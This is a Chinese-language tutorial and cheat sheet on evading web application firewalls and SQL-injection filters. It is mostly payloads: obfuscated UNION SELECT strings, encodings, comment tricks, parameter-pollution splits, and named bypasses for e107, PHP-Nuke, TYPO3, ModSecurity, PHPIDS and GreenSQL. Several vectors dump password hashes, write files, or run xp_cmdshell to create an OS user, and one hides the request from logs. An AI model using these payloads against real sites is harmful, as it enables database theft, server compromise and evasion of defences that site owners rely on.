深入了解 SQL 注入绕过 waf 和过滤机制

1. WAF 的常见特征

之所以要谈到 WAF 的常见特征是为了更好的了解 WAF 的运行机制这样就能增加几分绕过的机会了。本文不对 WAF 做详细介绍只谈及几点相关的。

总体来说 WAF(WebApplicationFirewall)的具有以下四个方面的功能

1.审计设备用来截获所有 HTTP 数据或者仅仅满足某些规则的会话

2.访问控制设备用来控制对 Web 应用的访问既包括主动安全模式也包括被动安全模式

3.架构/网络设计工具当运行在反向代理模式他们被用来分配职能集中控制虚拟基础结构等。

4.WEB 应用加固工具这些功能增强被保护 Web 应用的安全性它不仅能够屏蔽 WEB 应用固有弱点而且能够保护 WEB 应用编程错误导致的安全隐患。

WAF 的常见特点

异常检测协议拒绝不符合 HTTP 标准的请求

增强的输入验证代理和服务端的验证而不只是限于客户端验证

白名单&黑名单白名单适用于稳定的 We 应用黑名单适合处理已知问题

基于规则和基于异常的保护基于规则更多的依赖黑名单机制基于异常更为灵活

状态管理重点进行会话保护

另还有 Coikies 保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器 WAF 有其识别之道

扫描器识别主要由以下几点

1)扫描器指纹(head 字段/请求参数值)以 wvs 为例会有很明显的 Acunetix 在内的标识

2)单 IP+cookie 某时间段内触发规则次数

3)隐藏的链接标签等(<a>)

4)Cookie 植入

5)验证码验证扫描器无法自动填充验证码

6)单 IP 请求时间段内 Webserver 返回 http 状态 404 比例扫描器探测敏感目录基于字典找不到文件则返回 404

2. 绕过 WAF 的方法

绕过 waf 的技术分为 9 类包含从初级到高级技巧

a)大小写混合

b)替换关键字

c)使用编码

d)使用注释

e)等价函数与命令

f)使用特殊符号

g)HTTP 参数控制

h)缓冲区溢出

i)整合绕过

2.1.大小写绕过

大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i匹配时大小写不敏感便无法绕过这是最简单的绕过技术

```
z.com/index.php?page_id=-15uNIoNsELecT1,2,3,4
```

示例场景可能的情况为 filter 的规则大小写敏感现在直接使用这种绕过技术成功的可能性已经不高了吧

2.2.替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除 select、union 这些关键字如果只匹配一次就很容易绕过

```
z.com/index.php?page_id=-15UNIunionONSELselectECT1,2,3,4
```

替换关键字同样是很基础的技术也可以构造得更复杂 SeLSeselectleCTecT 关键要看正则表达式会进行几次匹配处理了

2.3.使用编码

2.3.1.URL 编码

在 Chrome 中输入一个链接非保留字的字符浏览器会对其 URL 编码如空格变为%20、单引号%27、左括号%28、右括号%29

普通的 URL 编码可能无法实现绕过不过存在某种情况 URL 编码只进行了一次解码过滤可以用两次编码绕过

```
page.php?id=1%252f%252a*/UNION%252f%252a/SELECT
```

2.3.2.十六进制编码

```
z.com/index.php?page_id=-15/*!u%6eion*//*!se%6cect*/1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
```

示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点

2.3.3.Unicode 编码

Unicode 有所谓的标准编码和非标准编码假设我们用的 utf-8 为标准编码那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些 Unicode 编码

```
单引号：
%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
```

举例：

```
?id=10%D6'%20AND%201=2%23
SELECT'Ä'='A';#1
```

两个示例中，前者利用双字节绕过，比如对单引号转义操作变成\'，那么就变成了%D6%5C'，%D6%5C 构成了一个款字节即 Unicode 字节，单引号可以正常使用。

第二个示例使用的是两种不同编码的字符的比较，它们比较的结果可能是 True 或者 False，关键在于 Unicode 编码种类繁多，基于黑名单的过滤器无法处理所以情况，从而实现绕过。

另外平时听得多一点的可能是 utf-7 的绕过，还有 utf-16、utf-32 的绕过，后者从成功的实现对 google 的绕过，有兴趣的朋友可以去了解下。

常见的编码当然还有二进制、八进制，它们不一定都派得上用场，但后面会提到使用二进制的例子。

2.4.使用注释

看一下常见的用于注释的符号有哪些

```
//,--,/**/,#,--+,---,;--a
```

2.4.1.普通注释

```
z.com/index.php?page_id=-15%55nION/**/%53ElecT1,2,3,4
'union%a0selectpassfromusers#
```

/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、--+用于终结语句的查询

2.4.2.内联注释

相比普通注释内联注释用的更多/*!content*/只有 MySQL 会正常识别 content 的内容其他

```
index.php?page_id=-15/*!UNION*//*!SELECT*/1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
```

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用。

2.5.等价函数与命令

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

2.5.1.函数或变量

```
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
```

```
mid()、substr()==>substring()
@@user==>user()
@@datadir==>datadir()
```

举例 substring()和 substr()无法使用时

```
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
```

或者

```
substr((select'password'),1,1)=0x70
strcmp(left('password',1),0x69)=1
strcmp(left('password',1),0x70)=0
strcmp(left('password',1),0x71)=-1
```

上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于 select、uinon、where 等关键字被限制如何处理将在后面 filter 部分讨论

2.5.2.符号

and 和 or 有可能不能使用可以试下&&和||能不能用还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于了

再看一下用得很多的空格可以使用如下符号代替其使用

```
%20%09%0a%0b%0c%0d%a0/**/
```

2.5.3.生僻函数

MySQL/PostgreSQL 支持 XML 函数

```
SelectUpdateXML('<scriptx=_></script>','/script/@x/','src=//evil.com');
?id=1and1=(updatexml(1,concat(0x3a,(selectuser())),1))
SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror));
//postgresql
?id=1andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));
```

MySQL、PostgreSQL、Oracle 它们都有许多自己的函数基于黑名单的 filter 要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况

2.6.特殊符号

这里我把非字母数字的字符都规在了特殊符号一类这些符号有特殊的含义和用法涉及信息量比前面提到的几种都要多

```
1.使用反引号`，例如 select`version()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用
2.神奇的"-+."，select+id-1+1.fromusers; “+” 是用于字符串连接的，” -” 和” .” 在此也用于连接，可以逃过空格和关键字过滤
3.@符号，select@^1.fromusers;@用于变量定义如@var_name，一个@表示用户定义，@@表示系统变量
4.Mysqlfunction()asxxx 也可不用 as 和空格 select-count(id)testfromusers;//绕过空格限制
```

可见使用这些字符的确是能做很多事也证实了那句老话只有想不到没有做不到笔者搜罗了部分可能发挥大作用的字符(这里未包括'、*、/等在内考虑到前面已经出现较多次了)

```
`、~、!、@、%、()、[]、.、-、+、|、%00
```

举例

关键字拆分

```
'se'+'lec'+'t'
%S%E%L%E%C%T1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"netuser"')
```

!和()'or--+2=--!!!'2

```
id=1+(UnI)(oN)+(SeL)(EcT)
```

//有看到说 Access 中,”[]”用于表和列,”()”用于数值也可以做分隔

本节最后再给出一些和这些字符多少有点关系的操作符供参考

```
>>,<<,>=,<=,<>,<=>,XOR,DIV,SOUNDSLIKE,RLIKE,REGEXP,IS,NOT,BETWEEN
```

使用这些"特殊符号"实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过

2.7.HTTP 参数控制

这里 HTTP 参数控制除了对查询语句的参数进行篡改还包括 HTTP 方法、HTTP 头的控制

2.7.1.HPP(HTTPParameterPolution)

举例

```
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
```

HPP 又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3 对于这种情况不同的 Web 服务器处理方式如下

Web Server	Parameter Interpretation	Example
ASP.NET/IIS	Concatenation by comma	par1=val1,val2
ASP/IIS	Concatenation by comma	par1=val1,val2
PHP/Apache	The last param is resulting	par1=val2
JSP/Tomcat	The first param is resulting	par1=val1
Perl/Apache	The first param is resulting	par1=val1
DBMan	Concatenation by two tildes	par1=val1~~val2

具体 WAF 如何处理要看其设置的规则不过就示例中感觉最后一个来看有较大可能绕过

2.7.2.HPF(HTTPParameterFragment)

这种方法是 HTTP 分割注入同 CRLF 略有相似之处(使用控制字符%0a、%0d 等换行)

举例

```
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select*fromtablewherea=1union/*andb=*/select1,pass/*limit*/fromusers—
```

看完上面两个示例发现和 HPP 最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

2.7.3.HPC(HTTPParameterContamination)

RFC2396 定义了如下一些字符

```
Unreserved:a-z,A-Z,0-9and_.!~*'()
Reserved:;/?:@&=+$,
Unwise:{}|\^[]`
```

不同的 Web 服务器处理处理构造得特殊请求时有不同的逻辑

Query String	Web Servers response / GET values		
	Apache/2.2.16, PHP/5.3.3	IIS6/ASP	
?test[1=2	test_1=2	test[1=2	
?test=%	test=%	test=	
?test%00=1	test=1	test=1	
?test=1%001	NULL	test=1	
?test+d=1+2	test_d=1 2	test d=1 2	

以魔术字符%为例 Asp/Asp.net 会受到影响

Keywords	WAF	ASP/ASP.NET
sele%ct * fr%om..	sele%ct * fr%om..	select * from..
;dr%op ta%ble xxx	;dr%op ta%ble xxx	;drop table xxx
<scr%ipt>	<scr%ipt>	<script>
<if%rame>	<if%rame>	<iframe>

2.8.缓冲区溢出(Advanced)

缓冲区溢出用于对付 WAF 在内的软件本身有不少 WAF 是 C 语言写的而 C 语言自身没有缓冲区保护机制因此如果 WAF 在处理测试向量时超出了其缓冲区长度就会引发 bug 从而实现绕过

举例

```
?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
```

示例 0xA*1000 指 0xA 后面” A"重复 1000 次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出

2.9.整合绕过

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

举例

```
z.com/index.php?page_id=-15+and+(select1)=(Select0xAA[..(addabout1000"A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
```

3. SQLiFilter 的实现及 Evasion

SQLInjection 时用得最多的一些关键字如下

```
and,or,union,where,limit,groupby,select,',hex,substr,whitespace
```

对它们的检测完整正则表达式为

```
preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i',$id)
```

FilterEvasion

```
***note***:"=>"左边表示会被 Filtered 的语句，"=>"右边表示成功 Bypass 的语句，左边标红的为被 Filtered 的关键字，右边标蓝的为替代其功能的函数或关键字

and=>&&      or=>||

unionselectuser,passwordfromusers                                    => 1||(selectuserfromuserswhereuser_id=1)='admin

1||(selectuserfromuserswhereuser_id=1)='admin'                       => 1||(selectuserfromuserslimit1)='admin

1||(selectuserfromuserslimit1)='admin'=> 1||(selectuserfromusersgroupbyuser_idhavinguser_id=1)='admin'
1||(selectuserfromusersgroupbyuser_idhavinguser_id=1)='admin'=> 1||(selectsubstr(group_concat(user_id),1,1)userfromusers)=1
1||(selectsubstr(group_concat(user_id),1,1)userfromusers)=1=>1||1=1intooutfile' result.txt'  或者 1||substr(user,1,1)='a'
1||(selectsubstr(group_concat(user_id),1,1)userfromusers)=1          => 1||user_idisnotnull 或者 1||substr(user,1,1)=0x61

        或者 1||substr(user,1,1)=unhex(61)      //  'Filtered
1||substr(user,1,1)=unhex(61)      =>1||substr(user,1,1)=lower(conv(11,10,36))
1||substr(user,1,1)=lower(conv(11,10,36))=>      1||lpad(user,7,1)
1||lpad(user,7,1)      =>      1%0b||%0blpad(user,7,1)      //"Filtered
```

从上面给出的示例来看没有绝对的过滤即便平时构建一个正常 SQL 语句的全部关键字都被过滤了我们也还是能找到 Bypass 的方法。普世的阳光和真理尚且照不到每一个角落人为构建出来的一个工具 WAF 就更加不可能尽善尽美了。

我们可以相信 WAF 能为我们抵挡很多攻击但是绝不能百分之一百的依赖它就算它有着世上最为健全的规则它本身也是会存在缺陷的。

从前面到现在基本上每条注入语句中都有数字如果某查询的数据类型为字符串、或者做了严格限制数字要被和谐掉这就有点棘手了不过办法总是有的

false	!pi()	0	ceil(pi()*pi())	10	ceil((pi()+pi())*pi())	20
true	!!pi()	1	ceil(pi()*pi())+true	11	ceil(ceil(pi())*version())	21
true+true		2	ceil(pi()+pi()+version())	12	ceil(pi()*ceil(pi()+pi()))	22
floor(pi())		3	floor(pi()*pi()+pi())	13	ceil((pi()+ceil(pi()))*pi())	23
ceil(pi())		4	ceil(pi()*pi()+pi())	14	ceil(pi())*ceil(version())	24
floor(version())		5	ceil(pi()*pi()+version())	15	floor(pi()*(version()+pi()))	25
ceil(version())		6	floor(pi()*version())	16	floor(version()*version())	26
ceil(pi()+pi())		7	ceil(pi()*version())	17	ceil(version()*version())	27
floor(version()+pi())		8	ceil(pi()*version())+true	18	ceil(pi()*pi()*pi()-pi())	28
floor(pi()*pi())		9	floor((pi()+pi())*pi())	19	floor(pi()*pi()*floor(pi()))	29

Nope ... conv([10-36],10,36)

false	!pi()	0	ceil(pi()*pi())	10 A	ceil((pi()+pi())*pi())	20 K
true	!!pi()	1	ceil(pi()*pi())+true	11 B	ceil(ceil(pi())*version())	21 L
true+true		2	ceil(pi()+pi()+version())	12 C	ceil(pi()*ceil(pi()+pi()))	22 M
floor(pi())		3	floor(pi()*pi()+pi())	13 D	ceil((pi()+ceil(pi()))*pi())	23 N
ceil(pi())		4	ceil(pi()*pi()+pi())	14 E	ceil(pi())*ceil(version())	24 O
floor(version())		5	ceil(pi()*pi()+version())	15 F	floor(pi()*(version()+pi()))	25 P
ceil(version())		6	floor(pi()*version())	16 G	floor(version()*version())	26 Q
ceil(pi()+pi())		7	ceil(pi()*version())	17 H	ceil(version()*version())	27 R
floor(version()+pi())		8	ceil(pi()*version())+true	18 I	ceil(pi()*pi()*pi()-pi())	28 S
floor(pi()*pi())		9	floor((pi()+pi())*pi())	19 J	floor(pi()*pi()*floor(pi()))	29 T

上面两张图第一张是不能使用数字时通过使用数学函数得到某个数字的值第二张则是这些数字对应的 36 进制的值因此有时候一个很简单的表达式可能会很复杂或者非常长其实际就是计算 mod(a,b)

```
(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(
pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-
pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(
version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-
pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower
```

```
(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(),pi()))),lower(conv(ceil((pi()+ceil(pi()
))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi()
,pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()
),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi())
)),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))))from(pass))),length(pass))
```

4. 延伸及测试向量示例

4.1.Web 应用绕过示例

4.1.1.e107CMS

```
$inArray=array("'",";","/**/","/UNION/","/SELECT/","AS");
if(strpos($_SERVER['PHP_SELF'],"trackback")===false){
foreach($inArrayas$res){
if(stristr($_SERVER['QUERY_STRING'],$res)){
die("Accessdenied.");
}}}
```

Bypass:

```
vuln.php/trackback?inject=UNI%6fNSELECT
```

4.1.2.PHP-NukeCMS

```
if(isset($_SERVER['QUERY_STRING'])
&&(!stripos($_SERVER['QUERY_STRING'],"ad_click"))){
$queryString=$_SERVER['QUERY_STRING'];
if(stripos($queryString,'%20union%20')
ORstripos($queryString,'/*')
ORstripos($queryString,'*/union/*')
ORstripos($queryString,'+union+')
ORstripos($queryString,'concat')){die('IllegalOperation');}
```

Bypass:

```
vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'
```

4.1.3.TYPO3CMS

```
$val=str_replace(array("'","","("),"",$arrFields[$fname]);//basicdefence
```

Bypass:

```
vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`
```

4.2.WAF 绕过示例

4.2.1.ModSecurityCRS2.0.9

```
1'and0x61=(/*foo*/SELECTmid(pass,1,1)fromuserslimit1,1)and'1
1'union/*!select*/pass,load_file(0x123456789)fromusers---
```

4.2.2.PHPIDS0.6.4

```
foo'!=@a:=0x1div'1afalse!=true      //authbypass
foo'divcount(select`pass`from(users)wheremid(pass,1,1)rlikelower(conv(10,pi()*pi
(),pi()*pi())))-'0
a'in(true)andfalse*/*!(true)union#newlineselectpass`alias`fromuserswheretrue*/*
n'1
```

4.2.3.GreenSQL1.3.0

检测关键字：union,information_schema,intooutfile,current_user,current_date,version

检测函数：mid(),substring(),substr(),load_file(),benchmark(),user(),database(),version()

```
adm''in'or1='1//authbypass
'-(1)union(selecttable_name,load_file('/tmp/test'),@@version
from/*!information_schema.tables*/);%00//selectunion
'-''into%a0outfile'/tmp/test//writetofile
```

4.3.SQLiFilterEvasionCheatsheet

```
#注释
'or1=1#
'or1=1/*(MySQL<5.1)
'or1=1;%00
'or1=1unionselect1,2as`
'or#newline
'/*!50000or*/1='1
'/*!or*/1='1

#前缀
+-~!
```

'or–+2=--!!!'2

#操作符：

^,=,!=,%,/,*,&,&&,|,||,,>>,<=,<=,,,XOR,DIV,LIKE,SOUNDSLIKE,RLIKE,REGEXP,LEAST,GREATEST,CAST,CONVERT,IS,IN,NOT,MATCH,AND,OR,BINARY,BETWEEN,ISNULL

#空格

%20%09%0a%0b%0c%0d%a0/**/

'or+(1)sounds/**/like"1"–%a0-

'union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

#有引号的字符串

SELECT'a'

SELECT"a"

SELECTn'a'

SELECTb'1100001′

SELECT_binary'1100001′

SELECTx'61′

#没有引号的字符串

'abc'=0×616263

'andsubstr(data,1,1)='a'#

'andsubstr(data,1,1)=0x61#0x6162

'andsubstr(data,1,1)=unhex(61)#unhex(6162)

'andsubstr(data,1,1)=char(97)#char(97,98)

'andsubstr(data,1,1)='a'#

'andhex(substr(data,1,1))=61#

'andascii(substr(data,1,1))=97#

'andord(substr(data,1,1))=97#

'andsubstr(data,1,1)=lower(conv(10,10,36))#'a'

#别名

selectpassasaliasfromusers

selectpass`aliasalias`fromusers

#字型

'ortrue='1#or1=1

'orround(pi(),1)+true+true=version()#or3.1+1+1=5.1

'or'1#ortrue

#操作符字型

select*fromuserswhere'a'='b'='c'

select*fromuserswhere('a'='b')='c'

select*fromuserswhere(false)='c'

#认真绕过'='

select*fromuserswherename="="

select*fromuserswherefalse="

select*fromuserswhere0=0

select*fromuserswheretrue#函数过滤器 ascii(97)

load_file/*foo*/(0×616263)

#用函数构建字符串

'abc'=unhex(616263)

'abc'=char(97,98,99)

hex('a')=61

ascii('a')=97

ord('a')=97

'ABC'=concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

#特殊字符

aes_encrypt(1,12)//4 鏌酋 "^z 譎é蓁 a

des_encrypt(1,2)//俞Ò/镏 k

@@ft_boolean_syntax//+-><()~*:""&|

```
        @@date_format//%Y-%m-%d
        @@innodb_log_group_home_dir//.\

@@new:0
@@log_bin:1
#提取子字符串 substr('abc',1,1)='a'
substr('abc'from1for1)='a'
substring('abc',1,1)='a'
substring('abc'from1for1)='a'
mid('abc',1,1)='a'
mid('abc'from1for1)='a'
lpad('abc',1,space(1))='a'
rpad('abc',1,space(1))='a'
left('abc',1)='a'
reverse(right(reverse('abc'),1))='a'
insert(insert('abc',1,0,space(0)),2,222,space(0))='a'
space(0)=trim(version()from(version()))

#搜索子字符串
locate('a','abc')
position('a','abc')
position('a'IN'abc')
instr('abc','a')
substring_index('ab','b',1)

#分割字符串
length(trim(leading'a'FROM'abc'))
length(replace('abc','a',''))

#比较字符串
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
```

```
count(concat('a','a'))

#字符串长度
length()
bit_length()
char_length()
octet_length()
bit_count()

#关键字过滤
Connectedkeywordfiltering
(0)union(select(table_name),column_name,...
0/**/union/*!50000select*/table_name`foo`/**/...
0%a0union%a0select%09group_concat(table_name)....
0'unionallselectall`table_name`foofrom`information_schema`.`tables`

#控制流
case'a'when'a'then1[else0]end
casewhen'a'='a'then1[else0]end
if('a'='a',1,0)
ifnull(nullif('a','a'),1)
```

4.4.测试向量

```
%55nion(%53elect1,2,3)---

+union+distinctROW+select+
/**//*!12345UNIONSELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniONSeLeCt*/
+#uNiOn+#sEleCt
+#1q%0AuNiOnall#qa%0A#%0AsEleCt
/*!u%6eion*//*!se%6cect*/
+un/**/ion+se/**/lect
```

```
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union(/*!/**/SeleCT*/1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*//*!SelECt*/
+union+distinctROW+select+
-15+(uNioN)+(sElECt)
-15+(UnI)(oN)+(SeL)(ecT)+

id=1+UnIOn/**/SeLect1,2,3—
id=1+UNIunionON+SELselectECT1,2,3—
id=1+/*!UnIOn*/+/*!sElEcT*/1,2,3—
id=1and(select1)=(Select0xAA1000moreA's)+UnIoN+SeLeCT1,2,3—
id=1+un/**/ion+sel/**/ect+1,2,3--
id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
id=-1and(select1)=(Select0xAA*1000)/*!UNION*//*!SELECT*//**/1,2,3,4,5,6—x

/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
/*!union*/+/*!select*/+1,2,3—
/*!UnIOn*//*!SeLect*/+1,2,3—
un/**/ion+sel/**/ect+1,2,3—
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+F
ROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976
616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30--

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
```

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,

?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--

id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/

id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES--

id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

SELECT*FROM(test)WHERE(name)IN(_ucs20x01df010e004d00cf0148);

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))inxmlway

selectuserfrommysql.userwhereuser='user'ORmid(password,1,1)=unhex('2a')

selectuserfrommysql.userwhereuser='user'ORmid(password,1,1)regexp'[*]'

selectuserfrommysql.userwhereuser='user'ORmid(password,1,1)like'*'

selectuserfrommysql.userwhereuser='user'ORmid(password,1,1)rlike'[*]'

selectuserfrommysql.userwhereuser='user'ORord(mid(password,1,1))=42

/?id=1+union+(select'1',concat(login,hash)from+users)

/?id=(1)union(((((((select(1),hex(hash)from(users)))))))

?id=1';/*&id=1*/EXEC/*&id=1*/master..xp_cmdshell/*&id=1*/“netuserluciferUrWaFisShiT”/*&id=1*/--

id=10a%nd1=0/(se%lecttop1ta%ble_namefr%ominfo%rmation_schema.tables)

id=10and1=0/(selecttop1table_namefrominformation_schema.tables)

id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--

id=-725+UNION+SELECT+1,version(),3,4,5--sp_password// 使用 sp_password 隐藏 log 中的请求